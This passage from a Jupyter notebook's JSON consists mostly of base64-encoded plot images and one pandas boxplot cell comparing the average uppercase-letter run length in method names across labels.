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\nffr/tllDswgExQwAAAAASUVORK5CYII=\n", + "text": [ + "" + ] + } + ], + "prompt_number": 150 + }, + { + "cell_type": "code", + "collapsed": false, + "input": [ + "df.boxplot('method_name_uppercase_run_avg', 'label')\n", + "plt.ylabel('Avg length of upper case letters')\n", + "plt.xlabel('')\n", + "plt.title('')\n", + "plt.suptitle('')" + ], + "language": "python", + "metadata": {}, + "outputs": [ + { + "metadata": {}, + "output_type": "pyout", + "prompt_number": 151, + "text": [ + "" + ] + }, + { + "metadata": {}, + "output_type": "display_data", + "png": "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\nWhpN1ox